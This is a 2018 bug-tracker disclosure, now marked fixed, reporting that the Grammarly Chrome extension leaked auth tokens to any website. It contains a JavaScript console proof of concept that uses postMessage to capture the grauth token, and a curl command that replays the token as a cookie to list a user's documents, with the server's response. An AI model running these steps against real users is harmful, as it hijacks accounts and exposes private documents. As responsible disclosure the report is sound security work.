New issue
Advanced search Search tips
Starred by 8 users
Status: Fixed
Closed: Feb 5

Sign in to add a comment
Grammarly: auth tokens are accessible to all websites
Project Member Reported by, Feb 2 Back to list
The Grammarly chrome extension (approx ~22M users) exposes it's auth tokens to all websites, therefore any website can login to as you and access all your documents and other data. I'm calling this a high severity bug, because it seems like a pretty severe violation of user expectations.

Users would not expect that visiting a website gives it permission to access documents from other websites.


Here is how to repro, on any website (e.g. type this in the console to get a grammarly auth token (obviously a website could do this with <script> without any user interaction):

> document.body.contentEditable=true // Trigger grammarly
> document.querySelector("[data-action=editor]").click() // Click the editor button
> document.querySelector("iframe.gr_-ifr").contentWindow.addEventListener("message", function (a) { console.log(,; }) // log auth token and email
> window.postMessage({grammarly: 1, action: "user" }, "*") // Request user data

It should print something like this: AABEnOZHVclnIAvUTKa4yc1waRRf59-hY3dVDT0gvrDfcJDAFt3Nlq84LpWFpzH1tkxzqs

That grauth token matches the grauth cookie used on, and I verified that is enough to login to a account. Therefore any website can access all your docs.

To prove grauth is enough to compromise a grammarly account, you can get a list of all uploaded documents like this:

$ curl --cookie "grauth=AABEnOZHVclnIAvUTKa4yc1waRRf59-hY3dVDT0gvrDfcJDAFt3Nlq84LpWFpzH1tkxzqs;" -A Mozilla -si ''
HTTP/2 200
date: Fri, 02 Feb 2018 20:42:51 GMT
content-type: application/json;charset=utf-8
content-length: 438
server: nginx-clojure/0.4.5
x-xss-protection: 1; mode=block
x-frame-options: DENY
x-request-id: 1-5a74cd4b-1d54e8fe06dc94f47361216e
x-content-type-options: nosniff
content-security-policy: default-src 'none'
strict-transport-security: max-age=31536000
vary: Accept-Encoding, User-Agent

[{"id":260704145,"user_id":704607600,"title":"Demo document","size":3301,"first_content":"Remember when you were a careless eight year old kid riding a bike with your friends,racing each other around the neighborhood? Remember that feeling of absolute freedom as you felt the wind in your hair and the smile it put on your face? I never thought ","errors":41,"created_at":"2018-02-02T19:20:37.693","updated_at":"2018-02-02T19:21:04.268"}]

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Project Member Comment 1 by, Feb 5
Summary: Grammarly: auth tokens are accessible to all websites (was: grammarly: auth tokens are accessible to all websites)
Project Member Comment 2 by, Feb 5
Description: Show this description
Project Member Comment 3 by, Feb 5
Labels: -Restrict-View-Commit
Status: Fixed
Grammarly had fixed the issue and released an update to the Chrome Web Store within a few hours, a really impressive response time.

I've verified that Mozilla now also has the update, so users should be auto-updated to the fixed version. I'm calling this issue fixed.
Comment 4 Deleted
Does this apply to other webkit browsers ?
Comment 6 Deleted
Project Member Comment 7 by, Feb 6
Description: Show this description
Sign in to add a comment